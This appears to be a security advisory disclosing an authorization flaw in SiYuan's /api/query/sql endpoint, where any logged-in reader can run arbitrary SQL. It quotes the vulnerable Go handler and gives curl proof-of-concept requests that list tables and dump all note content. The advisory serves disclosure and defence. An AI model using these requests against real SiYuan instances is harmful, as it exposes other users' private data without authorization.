GHSA-jqwg-75qf-vmf9: 
vulnerability analysis and mitigation

Summary

/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }
    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on

# List out all tables in the database
curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'

# Extract all user content from the database
curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact

• High impact, reader users can query all data in the db including other users notes
• SQL api is mostly for select queries, but without validation, writes can still happen
• Malicious SQL can lead to serious performance issues this is an auth bypass, the sql feature is for power users but even readers can use it